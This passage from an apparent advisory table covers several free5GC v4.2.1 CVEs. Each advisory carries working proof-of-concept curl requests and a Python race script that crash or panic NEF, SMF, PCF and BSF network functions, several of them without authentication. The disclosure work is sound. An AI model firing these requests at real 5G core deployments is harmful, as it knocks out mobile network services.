'{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``` 3. Make UDR access fail (lab simulation): ``` docker stop nrf ``` 4. Trigger the panic with one PATCH: ``` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`: ``` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``` 6. Restore for further testing: ``` docker start nrf ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`. Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22 | |
| CVE-2026-44321 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203 | |
| CVE-2026-44320 | hig | 0.45 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `nnef-callback` route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid `NotifId`, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime `ServiceList` does not declare it (it lists only `nnef-pfdmanagement` and `nnef-oam`). ### Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: `free5gc/nef:v4.2.1` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the `nnef-callback` route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by `NotifId`. Code evidence (paths in `free5gc/nef`): - Callback route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:64` - Callback route exposed at `/notification/smf`: `NFs/nef/internal/sbi/api_callback.go:13` - API layer reads raw request bytes and deserializes them before any auth check: `NFs/nef/internal/sbi/api_callback.go:23` - Processor looks up the subscription by `NotifId`: `NFs/nef/internal/sbi/processor/callback.go:13` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. Send a forged callback request: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf ``` Observed output: ``` HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"} ``` The `404` is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (`docker logs nef`) confirm the callback handler was reached: ``` [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF `nnef-callback` SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen `NotifId` happened to be invalid. Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid `NotifId` can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group. The `nnef-callback` route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24 | |
| CVE-2026-44319 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25 | |
| CVE-2026-44318 | med | 0.19 | — | — | May 8, 2026 | ### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. ### Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. ### PoC Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` ### Impact Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7 | |
| CVE-2026-44317 | med | 0.19 | — | — | May 8, 2026 | ### Summary free5GC's PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == "1"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`. The trigger is a single valid authenticated request -- changing only `suppFeat` from `"0"` to `"1"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`. This endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path. ### Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - PCF endpoint: `http://10.100.200.9:8000` - Validation date: 2026-03-12 Vulnerable handler path: ``` postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus) ``` In `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `"0"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `"1"` the branch is entered and the nil-deref fires. Code evidence (paths in `free5gc/pcf`): - Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go` - Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. 1. Obtain a valid `npcf-policyauthorization` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization' ``` 2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == "1"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. Control comparison -- same request shape but `suppFeat="0"` -> normal `201 Created`: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 201 Created ``` 4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`: ``` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat="0"` proves the request shape itself is otherwise valid. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat="1"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs. Any party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65 | |
| CVE-2026-44316 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into `HTTP 500`, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an `Authorization` header because the PCF `Npcf_SMPolicyControl` route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated. ### Details Validated against the PCF container in the official Docker compose lab. - free5GC version: `v4.1.0` (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: `http://10.100.200.9:8000` Vulnerable handler path (paraphrased from the captured stack trace): ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405 ``` The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct. Code evidence (paths in `free5gc/pcf`): - Panic site: - `NFs/pcf/internal/sbi/processor/smpolicy.go:82` - Route dispatch: - `NFs/pcf/internal/sbi/api_smpolicy.go:86` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. Send a single POST whose `dnn` is unknown to UDR -- this drives the downstream OpenAPI call to return `404 Not Found`, which then triggers the nil-deref panic: ``` curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPP_ACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }' ``` Observed response: `HTTP 500 Internal Server Error` with empty body. PCF container logs show: ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82... ``` The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails. ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844. Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present). Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62 | |
